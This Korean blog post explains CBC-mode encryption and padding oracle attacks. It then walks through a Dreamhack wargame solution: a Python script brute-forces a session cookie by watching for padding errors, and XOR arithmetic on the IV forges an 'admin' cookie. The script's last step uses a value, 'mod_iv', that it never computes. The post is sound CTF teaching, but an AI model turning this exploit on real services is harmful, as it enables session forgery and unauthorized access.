본문 바로가기

해킹/해킹 기법

Padding Oracle Attack ( 패딩 오라클 공격)

블럭 암호

 

블록 암호는 고정된 n비트 블록을 n비트 블록으로 변화시키는 함수이다. 임의 길이의 평문을 암호화 시키기 위해서는 평문을 특정한 길이로 분할하여 블록 암호에 입력시켜야 한다. 즉 블록 암호를 이용하여 평문을 암호화할 때에는 단순히 암호 알고리즘만이 있으면 해결되는 것이 아니고 사용 방식도 규정하여야 한다.

 

NIST에서는 블록 암호를 다양한 응용에 사용하기 위해 5가지 운영 모드를 정의하였다.

  • ECB 모드
  • CBC 모드
  • CFB 모드
  • OFB 모드
  • CTR 모드
CBC 모드

 

CBC모드에서 각각의 평문 블록은 암호화되기 전에 이전 암호화 블록과 XOR 된다.

블록이 암호화될 때 암호화된 블록은 전송되지만 다음 블록을 암호화할 때 사용하기 위하여 메모리에 저장되어야 한다.

첫 번째 블록을 암호화할 때는 이전의 암호문 블록이 존재하지 않으므로, 초기 벡터(IV)라고 불리는 허구의 블록이 사용된다. 즉, 송신자와 수신자가 사전에 공유한 IV를 존재하지 않는 C0 대신에 사용하는 것이다.

 

> CBC 모드 암호화

 

> CBC 모드 복호화

 

 

 

이런 그림도 있다.

Initialization Vector (초기 벡터)

 

주어진 평문에 대하여, IV의 생성에 앞서 IV는 반드시 송수신 양자 모두가 알고 있어야 하며, 제3자로부터의 예측이 불가능해야 한다. 평문과 관련지어 IV에 대한 예측이 불가능해야 한다.

 

많은 게시글에서 IV (초기 벡터)를 조작할 수 있다는 가정 하에 포스팅을 했다. 왜냐하면 CBC 모드의 특성상 마지막 블록부터 평문으로 복호화하다보면 첫번째 평문의 경우에는 XOR 연산할 이전의 암호문이 없기 때문에 초기 벡터를 사용하는데, 공격자 입장에서는이 초기 벡터를 알지 못하면 첫번째 블럭의 평문도 알지 못한다는 뜻이기 때문이다. 실제 공격하는 입장에서는 가정이 통하지 않는다. 초기 벡터 자체가 "제3자로부터의 예측이 불가능해야 하는 성질을 가지고 있으므로 공격자 입장에서는 모를 수 밖에 없는 값이다.

 

패딩 오라클

 

오라클이란? 데이터베이스로 많이 알려진 Oracle이 아니고 암호학에서 사용하는 Oracle이란 용어이다.

사용자와 시스템의 협조적인 관계를 통해 복호화 or 암호화를 진행하는 시스템을 의미한다.

오라클 패딩은 암호학에서의 오라클의 한 종류로 볼 수 있습니다.

결론적으로 오라클 패딩이란 복호화 시스템에 암호문을 넣었을 때에 그에 대한 패딩의 올바름 유무를 보여주는 오라클을 말합니다.

 

표로 정리된 암호화 과정

IV 0x6F 0x72 0x61 0x63 0x6C 0x65 0x70 0x64
 
Plaintext ?? ?? ?? ?? ?? ?? ?? ??
 
IV  Plaintext ?? ?? ?? ?? ?? ?? ?? ??
 
암호화  
Encrypted
Plain text
0x71 0x16 0xe1 0xab 0x1f 0xcf 0x71 0xcd
                   

 


표로 정리된 복호화 과정

Encrypted
Plain text
0x71 0x16 0xe1 0xab 0x1f 0xcf 0x71 0xcd
 
복호화
IV  Plaintext ?? ?? ?? ?? ?? ?? ?? ??
 
IV 0x6F 0x72 0x61 0x63 0x6C 0x65 0x70 0x64  
 
Plaintext ?? ?? ?? ?? ?? ?? ?? ??

 

 

드림핵, 워게임 패딩 오라클 문제

 

> 1번째 문제

https://dreamhack.io/wargame/challenges/325

드림핵에서 제공하는 패딩 오라클 관련된 문제가 있다.

 

문제 설명에도 나와있다시피 Do you know about "padding oracle vulnerability?" 라고 적혀있다.

 

문제를 실행하면 간단한 로그인 페이지가 뜬다.

 

 Login을 누르면 메인 페이지에 접속한다.

guest로 접속되며 admin session으로 접속하는 게 목표인 것 같다.

 

id를 guest에서 guess로 바꾸면 check your `id` or `password`라고 뜬다. 이게 무슨 상황일까?

우선, main.php에서 개발자 도구를 이용해 세션값을 살펴보도록 하자.

LOg1n 이라는 세션값으로

5Pe7xp%2BMV3M%3DFMdB61sk%2Brs%3D

가 적혀있음을 알 수 있다.

 

 

5Pe7xp%2BMV3M%3DFMdB61sk%2Brs%3D  라는 값으로 %3D 기준으로 두 블록으로 나뉘어진 것을 확인할 수 있다.

첫 번째 블록 : 5Pe7xp%2BMV3M%3D

두 번째 블록 : FMdB61sk%2Brs%3D

이를 통해, 블록 암호를 사용하고 있으며 base64를 이용해 암호화되어 있음을 알 수 있다.

 

두번째 블록은 IV에 의해 XOR연산된 형태이므로 두번째 블록의 암호문의 디코딩된 형태를 IV HEX값과 XOR연산을 해줘야 원하는 두 번째 블록의 값을 구할 수가 있다.

이 문제의 경우는 쿠키값이 단순하게 설정되어 있어 IV값과 XOR 연산으로 구해낼 수 있지만

문제의 취지에 맞게 padding oracle attack을 이용하여 brute force를 수행하면 두번째 블록의 hex값을 구해낼 수 있다.

 

py으로 paddingoracle_dreamhack.py를 사용해

실행시켜보면 다음처럼 padding 검출 오류를 이용해 padding이 맞을 경우 invalid user가 출력되는 패킷의 쿠키의 끝 hex값을 찾아 출력해주고

직전의 암호문의 hex값을 찾아준다.

 

코드를 실행시키면 padding oracle 을 이용하여 한글자씩 슈팅해서 찾아준다.

 

패킷을 엄청 날리다가 기다리다보면 inter 값과 두 번째 블럭의 평문값을 찾아준다.

 

찾은 hex값은 83 82 de b5 eb 8f 54 70

이 값은 평문과 iv가 XOR 연산된 중간값이다.

찾은 hex값과 iv를 XOR 연산하여 구한 두번째 블록의 평문값은 guest\x03\x03\x03이었다. 뒤에 \x03은 앞 5글자를 8바이트로 맞추기 위한 패딩이고 guest로 접근하여 guest 암호문을 가지고 있는 것 같다.

 

paddingoracle_dreamhack.py

import base64
from urllib.parse import quote, unquote
import binascii
from urllib3.util.retry import Retry
from requests.adapters import HTTPAdapter
from collections import OrderedDict
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# 페이로드 전송
def send_payload(s, payload):
    # variable initialization
	url = ""
	headers = {}
	params = {}
	data = {}

    # URL setting
	scheme = 'http'
	url = '{}://'.format(scheme)

    # headers setting
	headers = OrderedDict()
	headers['Connection'] = 'keep-alive'
	headers['Cache-Control'] = 'max-age=0'
	headers['Upgrade-Insecure-Requests'] = '1'
	headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
	headers['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
	headers['Accept-Encoding'] = 'gzip, deflate'
	headers['Accept-Language'] = 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7'
    # L0g1n 쿠키 변조
	headers['Cookie'] = 'L0g1n={};'.format(payload)
	
    # params setting
	params = OrderedDict()

    # data setting
	data = OrderedDict()

    # send packet
	r = s.get(url, headers=headers, params=params, data=data, verify=False)
	return r.text

# xor 함수
# enumberate는 배열을 인덱스와 값 형태로 나눠줌(ex. 1,22)
# 이후 xor 수행한 값을 bytes 형태로 return 해줌
def xor(data, key):
	output = bytearray()
	for i, ch in enumerate(data):
		output.append(ch ^ key[i % len(key)])
	return bytes(output)

# hex로 변환해주는 함수
# temp = data를 hex로 변환 
# 00 00 00 00 00 00 00 00 <- 형태로 보고 쉽게 표현
# range(0, len(temp), 2) <- 0부터 temp길이만큼 2개씩
# ret 에다가 2개씩 잘라서 넣고 return
def hex_view(data):
	temp = data.hex()
	ret = ""
	for i in range(0, len(temp), 2):
		ret += temp[i:i+2] + " "
	return ret

# cookie 생성하는 함수
# (iv base64 인코딩 -> url인코딩) + cookie에서 iv 값 제외한 부분
def make_cookie(iv, enc):
	return quote(base64.b64encode(iv))+quote(base64.b64encode(enc))

# 초기 값 설정
# inter는 암호화 중간 값으로 byte 형태로 비워둠
# s 는 리퀘스트 전송 위해 session 하나 생성 해둠
cookie="쿠키값 전체"
iv=base64.b64decode(unquote("1번째 블록"))
enc=base64.b64decode(unquote("2번째 블록"))
inter=b''
s = requests.Session()

#현재 IV와 ENC 출력
print("I V => {}".format(hex_view(iv)))
print("ENC => {}".format(hex_view(enc)))

#iv 만드는 과정 1~iv길이+1 까지
for i in range(1,len(iv)+1):
	#iv 시작점 지정 / 1일 경우 맨앞에서부터 뒤에 1글자 빼고 / 2일경우 뒤 2글자 빼고
	start = iv[:len(iv)-i]
	for j in range(0,0xff+1):
		# target = start +(0x00~0xff 중 1개) + xor(inter 뒤집은거, i)
		target = start + bytes([j]) + xor(inter[::-1], bytes([i]))
		cookie = make_cookie(target, enc)
		res = send_payload(s, cookie)
		print(hex_view(target), "=>", cookie)
		print(res)
		if 'padding error' not in res:
			break
	# padding error가 안뜨면 정상이므로 구한 값 j와 현재 패딩 값(1~8중 하나) xor 해서 inter을 파악함
	inter += bytes([i ^ j])
	
	# inter는 뒤부터 구하는 것 이기 때문에 뒤집어서 다시 구해줌
	print(hex_view(inter[::-1]))

# 다 구해진 인터 뒤집어서 리얼 인터로 만듬
# plain 알아냄 inter와 iv xor
inter = inter[::-1]
plain = xor(inter, iv)
print(plain)

# 공격에 쓰일 plain을 적고
# plain의 iv를 구하고(구한 inver와 mod xor하기)
mod = b"admin\x03\x03\x03" 
print(make_cookie(mod_iv, enc))

 

자 그럼 문제를 어떻게 해결할 수 있을까?

문제의 의도를 생각해보면

두번째 암호문을 컴퓨터가 복호화했을 때 admin\x03\x03\x03이 나오게 만들어야 한다는 것이다.

 

아는 것과 모르는 것을 정확히 구분해야 한다.

 

평문에서 어떤 걸 xor 하든 암호화 규칙은 모르기 때문에 admin 평문을 암호화한 값을 구할 순 없다.

결국 암호화한 값은 처음에 주어진 세션값의 두번째 블록을 사용해야 한다.

 

두번째 블록이 서버에서 복호화가 되면 초기 iv xor "guest hex" 값으로 되어있을 것이다.

이 값과 조작된 iv가 xor 연산을 했을 때 평문으로 admin을 뱉어내게 해야한다.

 

여기서 xor 연산의 특징을 사용한다. xor 연산은 교환법칙과 결합법칙에 대해 닫혀있는 연산이다.

따라서 조작된 iv에 초기 iv xor "guest hex" xor "admin hex" 값을 사용하여 이를 중간값과 xor 한다면

초기 iv xor "guest hex" 부분은 같은 값이므로 사라지고 "admin hex" 값만 남아 평문으로 출력될 것이다.

 

 

 

거의 다 왔다

admin을 hex로 바꾸면

61 64 6d 69 6e

이다

admin\x03\x03\x03

이 것을 hex 값으로 바꾸면

61646d696e030303 이다.

 

 

이 admin\x03\x03\x03 hex 값과

padding oracle attack을 통해 구한 중간값 8382deb5eb8f5470 을 XOR 연산해주면

e2e6b3dc858c5773

이 나온다.

 

이 값을 Base64로 인코딩해주면 4uaz3IWMV3M= 값이 된다.

 

이 걸 앞단 쿠키 블록에 넣어주면 문제가 풀리게 된다.

 

풀이 완료!!

꽤나 삽질을 많이 하고 고민도 많이 했던 문제였다.

 

 

 

 

Codegate 2015 Owltube (패딩 오라클 관련 문제)

 

Padding Oracle Attack과 관련하여 Codegate CTF에서 출제된 owltube라는 문제의 write up이 있다.

 

https://0x1337seichi.wordpress.com/2015/03/15/codgate-2015-ctf-quals-owlur-writeup-web-200/

https://github.com/smokeleeteveryday/CTF_WRITEUPS/blob/master/2015/CODEGATE/web/owltube/README.md


https://hacksms.tistory.com/50

https://dreamhack.io/wargame/challenges/127/

 

 

 


출처

https://bperhaps.tistory.com/entry/%EC%98%A4%EB%9D%BC%ED%81%B4-%ED%8C%A8%EB%94%A9-%EA%B3%B5%EA%B2%A9-%EA%B8%B0%EC%B4%88-%EC%84%A4%EB%AA%85-Oracle-Padding-Attack